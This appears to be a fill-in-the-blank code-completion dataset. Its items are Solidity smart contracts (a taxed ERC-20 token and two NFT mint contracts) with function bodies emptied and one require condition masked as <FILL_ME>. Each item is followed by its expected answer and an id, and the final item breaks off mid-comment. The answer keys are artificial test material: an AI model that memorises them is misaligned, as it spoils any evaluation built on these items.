function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Yay is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint256) private _buyerSeenAt;
mapping (address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
address payable private _fundingWallet;
uint256 private _lastSwap=0;
bool private _noSecondSwap=false;
uint256 private _buyTaxStart=20;
uint256 private _sellTaxStart=0;
uint256 private _buyTaxFinal=2;
uint256 private _sellTaxFinal=2;
uint256 private _reduceBuyTaxAt=1;
uint256 private _reduceSellTaxAt=30;
uint256 private _noSwapThreshold=20;
uint256 private _buyCount=0;
uint8 private constant _decimals = 10;
uint256 private constant _totalSupply = 420420800000 * 10**_decimals;
string private constant _name = unicode"Yay!";
string private constant _symbol = unicode"Yay!";
uint256 public _maxTxAmount = 12612624000 * 10**_decimals;
uint256 public _maxWalletSize = 12612624000 * 10**_decimals;
uint256 public _taxSwapThreshold=0 * 10**_decimals;
uint256 public _maxTaxSwap=8408416000 * 10**_decimals;
IUniswapV2Router02 private _router;
address private _pair;
bool private _tradingOpen;
bool private _inSwap = false;
bool private _swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function removeLimits() external onlyOwner{
}
function sendETHToFee(uint256 amount) private {
}
function openTrading() external onlyOwner() {
}
receive() external payable {}
function isContract(address account) private view returns (bool) {
}
function manualSwap() external {
require(<FILL_ME>)
uint256 tokenBalance=balanceOf(address(this));
if(tokenBalance>0){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance=address(this).balance;
if(ethBalance>0){
sendETHToFee(ethBalance);
}
}
}
| _msgSender()==_fundingWallet | 172,957 | _msgSender()==_fundingWallet |
"Wallet minted already" | pragma solidity ^0.8.0;
/*
It saves bytecode to revert on custom errors instead of using require
statements. We are just declaring these errors for reverting with upon various
conditions later in this contract. Thanks, Chiru Labs!
// */
// error ApprovalCallerNotOwnerNorApproved();
// error ApprovalQueryForNonexistentToken();
// error ApproveToCaller();
// error CapExceeded();
// error MintedQueryForZeroAddress();
// error MintToZeroAddress();
// error MintZeroQuantity();
// error NotAnAdmin();
// error OwnerIndexOutOfBounds();
// error OwnerQueryForNonexistentToken();
// error TokenIndexOutOfBounds();
// error TransferCallerNotOwnerNorApproved();
// error TransferFromIncorrectOwner();
// error TransferIsLockedGlobally();
// error TransferIsLocked();
// error TransferToNonERC721ReceiverImplementer();
// error TransferToZeroAddress();
// error URIQueryForNonexistentToken();
// `7MMF'MMP""MM""YMM `7MMF' .M"""bgd `7MMF' .g8""8q. .g8"""bgd
// MM P' MM `7 MM ,MI "Y MM .dP' `YM. .dP' `M
// MM MM MM `MMb. MM dM' `MM dM' `
// MM MM MM `YMMNq. MM MM MM MM
// MM MM MM . `MM MM , MM. ,MP MM. `7MMF'
// MM MM MM Mb dM MM ,M `Mb. ,dP' `Mb. MM
// .JMML. .JMML. .JMML.P"Ybmmd" .JMMmmmmMMM `"bmmd"' `"bmmmdPY
contract LOGS is ERC165, IERC721, IERC721Metadata, Ownable{
using Address for address;
using Strings for uint256;
string _name;
string _symbol;
string public metadataUri;
uint256 private nextId = 1;
mapping ( uint256 => address ) private owners;
mapping ( address => uint256 ) private balances;
mapping ( uint256 => address ) private tokenApprovals;
mapping ( address => mapping( address => bool )) private operatorApprovals;
mapping ( address => bool ) private administrators;
mapping ( address => bool ) private mintedAlready;
uint256 public MAX_CAP = 8888;
/**
A modifier to see if a caller is an approved administrator.
*/
modifier onlyAdmin () {
}
constructor () {
}
function name() external override view returns (string memory name_ret){
}
function symbol() external override view returns (string memory symbol_ret){
}
/**
Flag this contract as supporting the ERC-721 standard, the ERC-721 metadata
extension, and the enumerable ERC-721 extension.
@param _interfaceId The identifier, as defined by ERC-165, of the contract
interface to support.
@return Whether or not the interface being tested is supported.
*/
function supportsInterface (
bytes4 _interfaceId
) public view virtual override(ERC165, IERC165) returns (bool) {
}
/**
Return the total number of this token that have ever been minted.
@return The total supply of minted tokens.
*/
function totalSupply () public view returns (uint256) {
}
/**
Retrieve the number of distinct token IDs held by `_owner`.
@param _owner The address to retrieve a count of held tokens for.
@return The number of tokens held by `_owner`.
*/
function balanceOf (
address _owner
) external view override returns (uint256) {
}
/**
Just as Chiru Labs does, we maintain a sparse list of token owners; for
example if Alice owns tokens with ID #1 through #3 and Bob owns tokens #4
through #5, the ownership list would look like:
[ 1: Alice, 2: 0x0, 3: 0x0, 4: Bob, 5: 0x0, ... ].
This function is able to consume that sparse list for determining an actual
owner. Chiru Labs says that the gas spent here starts off proportional to
the maximum mint batch size and gradually moves to O(1) as tokens get
transferred.
@param _id The ID of the token which we are finding the owner for.
@return owner The owner of the token with ID of `_id`.
*/
function _ownershipOf (
uint256 _id
) private view returns (address owner) {
}
/**
Return the address that holds a particular token ID.
@param _id The token ID to check for the holding address of.
@return The address that holds the token with ID of `_id`.
*/
function ownerOf (
uint256 _id
) external view override returns (address) {
}
/**
Return whether a particular token ID has been minted or not.
@param _id The ID of a specific token to check for existence.
@return Whether or not the token of ID `_id` exists.
*/
function _exists (
uint256 _id
) public view returns (bool) {
}
/**
Return the address approved to perform transfers on behalf of the owner of
token `_id`. If no address is approved, this returns the zero address.
@param _id The specific token ID to check for an approved address.
@return The address that may operate on token `_id` on its owner's behalf.
*/
function getApproved (
uint256 _id
) public view override returns (address) {
}
/**
This function returns true if `_operator` is approved to transfer items
owned by `_owner`.
@param _owner The owner of items to check for transfer ability.
@param _operator The potential transferrer of `_owner`'s items.
@return Whether `_operator` may transfer items owned by `_owner`.
*/
function isApprovedForAll (
address _owner,
address _operator
) public view virtual override returns (bool) {
}
/**
Return the token URI of the token with the specified `_id`. The token URI is
dynamically constructed from this contract's `metadataUri`.
@param _id The ID of the token to retrive a metadata URI for.
@return The metadata URI of the token with the ID of `_id`.
*/
function tokenURI (
uint256 _id
) external view virtual override returns (string memory) {
}
/**
This private helper function updates the token approval address of the token
with ID of `_id` to the address `_to` and emits an event that the address
`_owner` triggered this approval. This function emits an {Approval} event.
@param _owner The owner of the token with the ID of `_id`.
@param _to The address that is being granted approval to the token `_id`.
@param _id The ID of the token that is having its approval granted.
*/
function _approve (
address _owner,
address _to,
uint256 _id
) private {
}
/**
Allow the owner of a particular token ID, or an approved operator of the
owner, to set the approved address of a particular token ID.
@param _approved The address being approved to transfer the token of ID `_id`.
@param _id The token ID with its approved address being set to `_approved`.
*/
function approve (
address _approved,
uint256 _id
) external override {
}
/**
Enable or disable approval for a third party `_operator` address to manage
all of the caller's tokens.
@param _operator The address to grant management rights over all of the
caller's tokens.
@param _approved The status of the `_operator`'s approval for the caller.
*/
function setApprovalForAll (
address _operator,
bool _approved
) external override {
}
/**
This private helper function handles the portion of transferring an ERC-721
token that is common to both the unsafe `transferFrom` and the
`safeTransferFrom` variants.
This function does not support burning tokens and emits a {Transfer} event.
@param _from The address to transfer the token with ID of `_id` from.
@param _to The address to transfer the token to.
@param _id The ID of the token to transfer.
*/
function _transfer (
address _from,
address _to,
uint256 _id
) private {
}
function mintPublic() public payable {
uint256 supply = totalSupply();
require(<FILL_ME>)
require(supply + 1 <= MAX_CAP, "Mint amount exceeds max supply");
mintedAlready[msg.sender] = true;
cheapMint(msg.sender, 1);
}
/**
This function performs an unsafe transfer of token ID `_id` from address
`_from` to address `_to`. The transfer is considered unsafe because it does
not validate that the receiver can actually take proper receipt of an
ERC-721 token.
@param _from The address to transfer the token from.
@param _to The address to transfer the token to.
@param _id The ID of the token being transferred.
*/
function transferFrom (
address _from,
address _to,
uint256 _id
) external virtual override {
}
/**
This is an private helper function used to, if the transfer destination is
found to be a smart contract, check to see if that contract reports itself
as safely handling ERC-721 tokens by returning the magical value from its
`onERC721Received` function.
@param _from The address of the previous owner of token `_id`.
@param _to The destination address that will receive the token.
@param _id The ID of the token being transferred.
@param _data Optional data to send along with the transfer check.
@return Whether or not the destination contract reports itself as being able
to handle ERC-721 tokens.
*/
function _checkOnERC721Received(
address _from,
address _to,
uint256 _id,
bytes memory _data
) private returns (bool) {
}
/**
This function performs transfer of token ID `_id` from address `_from` to
address `_to`. This function validates that the receiving address reports
itself as being able to properly handle an ERC-721 token.
@param _from The address to transfer the token from.
@param _to The address to transfer the token to.
@param _id The ID of the token being transferred.
*/
function safeTransferFrom(
address _from,
address _to,
uint256 _id
) public virtual override {
}
/**
This function performs transfer of token ID `_id` from address `_from` to
address `_to`. This function validates that the receiving address reports
itself as being able to properly handle an ERC-721 token. This variant also
sends `_data` along with the transfer check.
@param _from The address to transfer the token from.
@param _to The address to transfer the token to.
@param _id The ID of the token being transferred.
@param _data Optional data to send along with the transfer check.
*/
function safeTransferFrom(
address _from,
address _to,
uint256 _id,
bytes memory _data
) public override {
}
/**
This function allows permissioned minters of this contract to mint one or
more tokens dictated by the `_amount` parameter. Any minted tokens are sent
to the `_recipient` address.
Note that tokens are always minted sequentially starting at one. That is,
the list of token IDs is always increasing and looks like [ 1, 2, 3... ].
Also note that per our use cases the intended recipient of these minted
items will always be externally-owned accounts and not other contracts. As a
result there is no safety check on whether or not the mint destination can
actually correctly handle an ERC-721 token.
@param _recipient The recipient of the tokens being minted.
@param _amount The amount of tokens to mint.
*/
function cheapMint (
address _recipient,
uint256 _amount
) internal {
}
/**
This function allows the original owner of the contract to add or remove
other addresses as administrators. Administrators may perform mints and may
lock token transfers.
@param _newAdmin The new admin to update permissions for.
@param _isAdmin Whether or not the new admin should be an admin.
*/
function setAdmin (
address _newAdmin,
bool _isAdmin
) external onlyOwner {
}
/**
Allow the item collection owner to update the metadata URI of this
collection.
@param _uri The new URI to update to.
*/
function setURI (
string calldata _uri
) external virtual onlyOwner {
}
function withdraw(address payable recipient) public onlyOwner {
}
}
| mintedAlready[msg.sender]==false,"Wallet minted already" | 172,980 | mintedAlready[msg.sender]==false |
"Mint amount exceeds max supply" | pragma solidity ^0.8.0;
/*
It saves bytecode to revert on custom errors instead of using require
statements. We are just declaring these errors for reverting with upon various
conditions later in this contract. Thanks, Chiru Labs!
// */
// error ApprovalCallerNotOwnerNorApproved();
// error ApprovalQueryForNonexistentToken();
// error ApproveToCaller();
// error CapExceeded();
// error MintedQueryForZeroAddress();
// error MintToZeroAddress();
// error MintZeroQuantity();
// error NotAnAdmin();
// error OwnerIndexOutOfBounds();
// error OwnerQueryForNonexistentToken();
// error TokenIndexOutOfBounds();
// error TransferCallerNotOwnerNorApproved();
// error TransferFromIncorrectOwner();
// error TransferIsLockedGlobally();
// error TransferIsLocked();
// error TransferToNonERC721ReceiverImplementer();
// error TransferToZeroAddress();
// error URIQueryForNonexistentToken();
// `7MMF'MMP""MM""YMM `7MMF' .M"""bgd `7MMF' .g8""8q. .g8"""bgd
// MM P' MM `7 MM ,MI "Y MM .dP' `YM. .dP' `M
// MM MM MM `MMb. MM dM' `MM dM' `
// MM MM MM `YMMNq. MM MM MM MM
// MM MM MM . `MM MM , MM. ,MP MM. `7MMF'
// MM MM MM Mb dM MM ,M `Mb. ,dP' `Mb. MM
// .JMML. .JMML. .JMML.P"Ybmmd" .JMMmmmmMMM `"bmmd"' `"bmmmdPY
contract LOGS is ERC165, IERC721, IERC721Metadata, Ownable{
using Address for address;
using Strings for uint256;
string _name;
string _symbol;
string public metadataUri;
uint256 private nextId = 1;
mapping ( uint256 => address ) private owners;
mapping ( address => uint256 ) private balances;
mapping ( uint256 => address ) private tokenApprovals;
mapping ( address => mapping( address => bool )) private operatorApprovals;
mapping ( address => bool ) private administrators;
mapping ( address => bool ) private mintedAlready;
uint256 public MAX_CAP = 8888;
/**
A modifier to see if a caller is an approved administrator.
*/
modifier onlyAdmin () {
}
constructor () {
}
function name() external override view returns (string memory name_ret){
}
function symbol() external override view returns (string memory symbol_ret){
}
/**
Flag this contract as supporting the ERC-721 standard, the ERC-721 metadata
extension, and the enumerable ERC-721 extension.
@param _interfaceId The identifier, as defined by ERC-165, of the contract
interface to support.
@return Whether or not the interface being tested is supported.
*/
function supportsInterface (
bytes4 _interfaceId
) public view virtual override(ERC165, IERC165) returns (bool) {
}
/**
Return the total number of this token that have ever been minted.
@return The total supply of minted tokens.
*/
function totalSupply () public view returns (uint256) {
}
/**
Retrieve the number of distinct token IDs held by `_owner`.
@param _owner The address to retrieve a count of held tokens for.
@return The number of tokens held by `_owner`.
*/
function balanceOf (
address _owner
) external view override returns (uint256) {
}
/**
Just as Chiru Labs does, we maintain a sparse list of token owners; for
example if Alice owns tokens with ID #1 through #3 and Bob owns tokens #4
through #5, the ownership list would look like:
[ 1: Alice, 2: 0x0, 3: 0x0, 4: Bob, 5: 0x0, ... ].
This function is able to consume that sparse list for determining an actual
owner. Chiru Labs says that the gas spent here starts off proportional to
the maximum mint batch size and gradually moves to O(1) as tokens get
transferred.
@param _id The ID of the token which we are finding the owner for.
@return owner The owner of the token with ID of `_id`.
*/
function _ownershipOf (
uint256 _id
) private view returns (address owner) {
}
/**
Return the address that holds a particular token ID.
@param _id The token ID to check for the holding address of.
@return The address that holds the token with ID of `_id`.
*/
function ownerOf (
uint256 _id
) external view override returns (address) {
}
/**
Return whether a particular token ID has been minted or not.
@param _id The ID of a specific token to check for existence.
@return Whether or not the token of ID `_id` exists.
*/
function _exists (
uint256 _id
) public view returns (bool) {
}
/**
Return the address approved to perform transfers on behalf of the owner of
token `_id`. If no address is approved, this returns the zero address.
@param _id The specific token ID to check for an approved address.
@return The address that may operate on token `_id` on its owner's behalf.
*/
function getApproved (
uint256 _id
) public view override returns (address) {
}
/**
This function returns true if `_operator` is approved to transfer items
owned by `_owner`.
@param _owner The owner of items to check for transfer ability.
@param _operator The potential transferrer of `_owner`'s items.
@return Whether `_operator` may transfer items owned by `_owner`.
*/
function isApprovedForAll (
address _owner,
address _operator
) public view virtual override returns (bool) {
}
/**
Return the token URI of the token with the specified `_id`. The token URI is
dynamically constructed from this contract's `metadataUri`.
@param _id The ID of the token to retrive a metadata URI for.
@return The metadata URI of the token with the ID of `_id`.
*/
function tokenURI (
uint256 _id
) external view virtual override returns (string memory) {
}
/**
This private helper function updates the token approval address of the token
with ID of `_id` to the address `_to` and emits an event that the address
`_owner` triggered this approval. This function emits an {Approval} event.
@param _owner The owner of the token with the ID of `_id`.
@param _to The address that is being granted approval to the token `_id`.
@param _id The ID of the token that is having its approval granted.
*/
function _approve (
address _owner,
address _to,
uint256 _id
) private {
}
/**
Allow the owner of a particular token ID, or an approved operator of the
owner, to set the approved address of a particular token ID.
@param _approved The address being approved to transfer the token of ID `_id`.
@param _id The token ID with its approved address being set to `_approved`.
*/
function approve (
address _approved,
uint256 _id
) external override {
}
/**
Enable or disable approval for a third party `_operator` address to manage
all of the caller's tokens.
@param _operator The address to grant management rights over all of the
caller's tokens.
@param _approved The status of the `_operator`'s approval for the caller.
*/
function setApprovalForAll (
address _operator,
bool _approved
) external override {
}
/**
This private helper function handles the portion of transferring an ERC-721
token that is common to both the unsafe `transferFrom` and the
`safeTransferFrom` variants.
This function does not support burning tokens and emits a {Transfer} event.
@param _from The address to transfer the token with ID of `_id` from.
@param _to The address to transfer the token to.
@param _id The ID of the token to transfer.
*/
function _transfer (
address _from,
address _to,
uint256 _id
) private {
}
function mintPublic() public payable {
uint256 supply = totalSupply();
require(mintedAlready[msg.sender] == false, "Wallet minted already");
require(<FILL_ME>)
mintedAlready[msg.sender] = true;
cheapMint(msg.sender, 1);
}
/**
This function performs an unsafe transfer of token ID `_id` from address
`_from` to address `_to`. The transfer is considered unsafe because it does
not validate that the receiver can actually take proper receipt of an
ERC-721 token.
@param _from The address to transfer the token from.
@param _to The address to transfer the token to.
@param _id The ID of the token being transferred.
*/
function transferFrom (
address _from,
address _to,
uint256 _id
) external virtual override {
}
/**
This is an private helper function used to, if the transfer destination is
found to be a smart contract, check to see if that contract reports itself
as safely handling ERC-721 tokens by returning the magical value from its
`onERC721Received` function.
@param _from The address of the previous owner of token `_id`.
@param _to The destination address that will receive the token.
@param _id The ID of the token being transferred.
@param _data Optional data to send along with the transfer check.
@return Whether or not the destination contract reports itself as being able
to handle ERC-721 tokens.
*/
function _checkOnERC721Received(
address _from,
address _to,
uint256 _id,
bytes memory _data
) private returns (bool) {
}
/**
This function performs transfer of token ID `_id` from address `_from` to
address `_to`. This function validates that the receiving address reports
itself as being able to properly handle an ERC-721 token.
@param _from The address to transfer the token from.
@param _to The address to transfer the token to.
@param _id The ID of the token being transferred.
*/
function safeTransferFrom(
address _from,
address _to,
uint256 _id
) public virtual override {
}
/**
This function performs transfer of token ID `_id` from address `_from` to
address `_to`. This function validates that the receiving address reports
itself as being able to properly handle an ERC-721 token. This variant also
sends `_data` along with the transfer check.
@param _from The address to transfer the token from.
@param _to The address to transfer the token to.
@param _id The ID of the token being transferred.
@param _data Optional data to send along with the transfer check.
*/
function safeTransferFrom(
address _from,
address _to,
uint256 _id,
bytes memory _data
) public override {
}
/**
This function allows permissioned minters of this contract to mint one or
more tokens dictated by the `_amount` parameter. Any minted tokens are sent
to the `_recipient` address.
Note that tokens are always minted sequentially starting at one. That is,
the list of token IDs is always increasing and looks like [ 1, 2, 3... ].
Also note that per our use cases the intended recipient of these minted
items will always be externally-owned accounts and not other contracts. As a
result there is no safety check on whether or not the mint destination can
actually correctly handle an ERC-721 token.
@param _recipient The recipient of the tokens being minted.
@param _amount The amount of tokens to mint.
*/
function cheapMint (
address _recipient,
uint256 _amount
) internal {
}
/**
This function allows the original owner of the contract to add or remove
other addresses as administrators. Administrators may perform mints and may
lock token transfers.
@param _newAdmin The new admin to update permissions for.
@param _isAdmin Whether or not the new admin should be an admin.
*/
function setAdmin (
address _newAdmin,
bool _isAdmin
) external onlyOwner {
}
/**
Allow the item collection owner to update the metadata URI of this
collection.
@param _uri The new URI to update to.
*/
function setURI (
string calldata _uri
) external virtual onlyOwner {
}
function withdraw(address payable recipient) public onlyOwner {
}
}
| supply+1<=MAX_CAP,"Mint amount exceeds max supply" | 172,980 | supply+1<=MAX_CAP |
"Not enough ETH sent" | /*
* ERC721A Gas Optimized Minting
* https://twitter.com/SQUIDzillaz0e
*/
contract Bullionaires is ERC721A, Ownable {
using SafeMath for uint256;
/*
* @dev Set Initial Parameters Before deployment
* settings are still fully updateable after deployment
* Max Mint overall, Max NFTs in collection, Max Mint during Presale period
* as well as Private/Presale price adn Public Mint price.
* Public are easily retrieved on Etherscan/FrontEnd
*/
uint256 public MAX_MINTS = 6;
uint256 public MAX_SUPPLY = 1500;
uint256 public mintRate = 0.14 ether;
uint256 public privateMintPrice = 0.12 ether;
/*
* @Dev Booleans for sale states.
* salesIsActive must be true in any case to mint
* privateSaleIsActive must be true in the case of Whitelist mints
* If you do not want a WL period or a Presale Period keep
* privateSalesIsActive set to False and it will bypass the sale period Entirely.
*/
bool public saleIsActive = false;
bool public privateSaleIsActive = true;
/*
* @Dev Whitelist Struct and Mappings
*/
struct Whitelist {
address addr;
}
mapping(address => Whitelist) public whitelist;
address[] whitelistAddr;
/*
* @dev Set base URI
* Do not Deploy with your Revealed
* base URI
*/
string public baseURI = "ipfs://BULLIONARES/";
/*
* @dev Set your Collection/Contract name and Token Ticker
* below. Constructor Parameter cannot be changed after
* contract deployment.
*/
constructor() ERC721A("BULLIONAIRES", "BULLX") {}
/*
* @dev
* Set presale price to mint per NFT
*/
function setPrivateMintPrice(uint256 _price) external onlyOwner {
}
/*
*@dev
* Set publicsale price to mint per NFT
*/
function setPublicMintPrice(uint256 _price) external onlyOwner {
}
/*
* @dev mint funtion with _to address. no cost mint
* by contract owner/deployer
*/
function ownerMint(uint256 quantity, address _to) external onlyOwner {
}
/*
* @dev mint function and checks for saleState and mint quantity
* Includes Private/public sale checks and quantity minted.
* ** Updated to only look for whitelist during Presale state only
* Use Max Mints more of a max perwallet than how many can be minted.
* This remedied the bug of not being able to mint in Public sale after
* a presale mint has occured. or a mint has occured and was transfered to a different wallet.
*/
function mint(uint256 quantity) external payable {
require(saleIsActive, "Sale must be active to mint");
// _safeMint's second argument now takes in a quantity, not a tokenId.
require(totalSupply() + quantity <= MAX_SUPPLY, "Not enough tokens left to Mint");
if(privateSaleIsActive) {
require(<FILL_ME>)
require((balanceOf(msg.sender) + quantity) <= MAX_MINTS, "Over Max Limit");
require(isWhitelisted(msg.sender), "Is not whitelisted");
} else {
require((balanceOf(msg.sender) + quantity) <= MAX_MINTS, "Over Max Limit");
require((mintRate * quantity) <= msg.value, "Value below price");
}
if (totalSupply() < MAX_SUPPLY){
_safeMint(msg.sender, quantity);
}
}
/*
* @dev Set Max Mints allowed by any one single
* wallet during the entirety of the Mint.
*/
function setMaxMints(uint256 _max) external onlyOwner {
}
/*
* @dev Set new Base URI
* useful for setting unrevealed uri to revealed Base URI
* same as a reveal switch/state but not the extraness
*/
function setBaseURI(string calldata newBaseURI) external onlyOwner {
}
/*
* @dev returns Base URI
*/
function _baseURI() internal view override returns (string memory) {
}
/*
* @dev Pause sale if active, make active if paused
*/
function setSaleActive() public onlyOwner {
}
/*
* @dev flip sale state from whitelist to public
*
*/
function setPrivateSaleActive() public onlyOwner {
}
/*
* @dev Withdrawl function, Contract ETH balance
* to owner wallet address.
*/
function withdraw() public onlyOwner {
}
/*
* @dev Alternative withdrawl
* mint funs to a specified address
*
*/
function altWithdraw(uint256 _amount, address payable _to)
external
onlyOwner
{
}
/*
* @dev Set Whitelist address
* array - format must be: ["address1","address2"]
*
*/
function setWhitelistAddr(address[] memory addrs) public onlyOwner {
}
/*
* @dev Add a single Wallet
* address to whitelist
*
*/
function addAddressToWhitelist(address addr)
public
onlyOwner
returns (bool success)
{
}
/*
* @dev return a boolean true or false if
* an address is whitelisted on etherscan
* or frontend
*/
function isWhitelisted(address addr)
public
view
returns (bool isWhiteListed)
{
}
}
| msg.value>=(privateMintPrice*quantity),"Not enough ETH sent" | 173,118 | msg.value>=(privateMintPrice*quantity) |
"Over Max Limit" | /*
* ERC721A Gas Optimized Minting
* https://twitter.com/SQUIDzillaz0e
*/
contract Bullionaires is ERC721A, Ownable {
using SafeMath for uint256;
/*
* @dev Set Initial Parameters Before deployment
* settings are still fully updateable after deployment
* Max Mint overall, Max NFTs in collection, Max Mint during Presale period
* as well as Private/Presale price adn Public Mint price.
* Public are easily retrieved on Etherscan/FrontEnd
*/
uint256 public MAX_MINTS = 6;
uint256 public MAX_SUPPLY = 1500;
uint256 public mintRate = 0.14 ether;
uint256 public privateMintPrice = 0.12 ether;
/*
* @Dev Booleans for sale states.
* salesIsActive must be true in any case to mint
* privateSaleIsActive must be true in the case of Whitelist mints
* If you do not want a WL period or a Presale Period keep
* privateSalesIsActive set to False and it will bypass the sale period Entirely.
*/
bool public saleIsActive = false;
bool public privateSaleIsActive = true;
/*
* @Dev Whitelist Struct and Mappings
*/
struct Whitelist {
address addr;
}
mapping(address => Whitelist) public whitelist;
address[] whitelistAddr;
/*
* @dev Set base URI
* Do not Deploy with your Revealed
* base URI
*/
string public baseURI = "ipfs://BULLIONARES/";
/*
* @dev Set your Collection/Contract name and Token Ticker
* below. Constructor Parameter cannot be changed after
* contract deployment.
*/
constructor() ERC721A("BULLIONAIRES", "BULLX") {}
/*
* @dev
* Set presale price to mint per NFT
*/
function setPrivateMintPrice(uint256 _price) external onlyOwner {
}
/*
*@dev
* Set publicsale price to mint per NFT
*/
function setPublicMintPrice(uint256 _price) external onlyOwner {
}
/*
* @dev mint funtion with _to address. no cost mint
* by contract owner/deployer
*/
function ownerMint(uint256 quantity, address _to) external onlyOwner {
}
/*
* @dev mint function and checks for saleState and mint quantity
* Includes Private/public sale checks and quantity minted.
* ** Updated to only look for whitelist during Presale state only
* Use Max Mints more of a max perwallet than how many can be minted.
* This remedied the bug of not being able to mint in Public sale after
* a presale mint has occured. or a mint has occured and was transfered to a different wallet.
*/
function mint(uint256 quantity) external payable {
require(saleIsActive, "Sale must be active to mint");
// _safeMint's second argument now takes in a quantity, not a tokenId.
require(totalSupply() + quantity <= MAX_SUPPLY, "Not enough tokens left to Mint");
if(privateSaleIsActive) {
require(msg.value >= (privateMintPrice * quantity), "Not enough ETH sent");
require(<FILL_ME>)
require(isWhitelisted(msg.sender), "Is not whitelisted");
} else {
require((balanceOf(msg.sender) + quantity) <= MAX_MINTS, "Over Max Limit");
require((mintRate * quantity) <= msg.value, "Value below price");
}
if (totalSupply() < MAX_SUPPLY){
_safeMint(msg.sender, quantity);
}
}
/*
* @dev Set Max Mints allowed by any one single
* wallet during the entirety of the Mint.
*/
function setMaxMints(uint256 _max) external onlyOwner {
}
/*
* @dev Set new Base URI
* useful for setting unrevealed uri to revealed Base URI
* same as a reveal switch/state but not the extraness
*/
function setBaseURI(string calldata newBaseURI) external onlyOwner {
}
/*
* @dev returns Base URI
*/
function _baseURI() internal view override returns (string memory) {
}
/*
* @dev Pause sale if active, make active if paused
*/
function setSaleActive() public onlyOwner {
}
/*
* @dev flip sale state from whitelist to public
*
*/
function setPrivateSaleActive() public onlyOwner {
}
/*
* @dev Withdrawl function, Contract ETH balance
* to owner wallet address.
*/
function withdraw() public onlyOwner {
}
/*
* @dev Alternative withdrawl
* mint funs to a specified address
*
*/
function altWithdraw(uint256 _amount, address payable _to)
external
onlyOwner
{
}
/*
* @dev Set Whitelist address
* array - format must be: ["address1","address2"]
*
*/
function setWhitelistAddr(address[] memory addrs) public onlyOwner {
}
/*
* @dev Add a single Wallet
* address to whitelist
*
*/
function addAddressToWhitelist(address addr)
public
onlyOwner
returns (bool success)
{
}
/*
* @dev return a boolean true or false if
* an address is whitelisted on etherscan
* or frontend
*/
function isWhitelisted(address addr)
public
view
returns (bool isWhiteListed)
{
}
}
| (balanceOf(msg.sender)+quantity)<=MAX_MINTS,"Over Max Limit" | 173,118 | (balanceOf(msg.sender)+quantity)<=MAX_MINTS |
"Value below price" | /*
* ERC721A Gas Optimized Minting
* https://twitter.com/SQUIDzillaz0e
*/
contract Bullionaires is ERC721A, Ownable {
using SafeMath for uint256;
/*
* @dev Set Initial Parameters Before deployment
* settings are still fully updateable after deployment
* Max Mint overall, Max NFTs in collection, Max Mint during Presale period
* as well as Private/Presale price adn Public Mint price.
* Public are easily retrieved on Etherscan/FrontEnd
*/
uint256 public MAX_MINTS = 6;
uint256 public MAX_SUPPLY = 1500;
uint256 public mintRate = 0.14 ether;
uint256 public privateMintPrice = 0.12 ether;
/*
* @Dev Booleans for sale states.
* salesIsActive must be true in any case to mint
* privateSaleIsActive must be true in the case of Whitelist mints
* If you do not want a WL period or a Presale Period keep
* privateSalesIsActive set to False and it will bypass the sale period Entirely.
*/
bool public saleIsActive = false;
bool public privateSaleIsActive = true;
/*
* @Dev Whitelist Struct and Mappings
*/
struct Whitelist {
address addr;
}
mapping(address => Whitelist) public whitelist;
address[] whitelistAddr;
/*
* @dev Set base URI
* Do not Deploy with your Revealed
* base URI
*/
string public baseURI = "ipfs://BULLIONARES/";
/*
* @dev Set your Collection/Contract name and Token Ticker
* below. Constructor Parameter cannot be changed after
* contract deployment.
*/
constructor() ERC721A("BULLIONAIRES", "BULLX") {}
/*
* @dev
* Set presale price to mint per NFT
*/
function setPrivateMintPrice(uint256 _price) external onlyOwner {
}
/*
*@dev
* Set publicsale price to mint per NFT
*/
function setPublicMintPrice(uint256 _price) external onlyOwner {
}
/*
* @dev mint funtion with _to address. no cost mint
* by contract owner/deployer
*/
function ownerMint(uint256 quantity, address _to) external onlyOwner {
}
/*
* @dev mint function and checks for saleState and mint quantity
* Includes Private/public sale checks and quantity minted.
* ** Updated to only look for whitelist during Presale state only
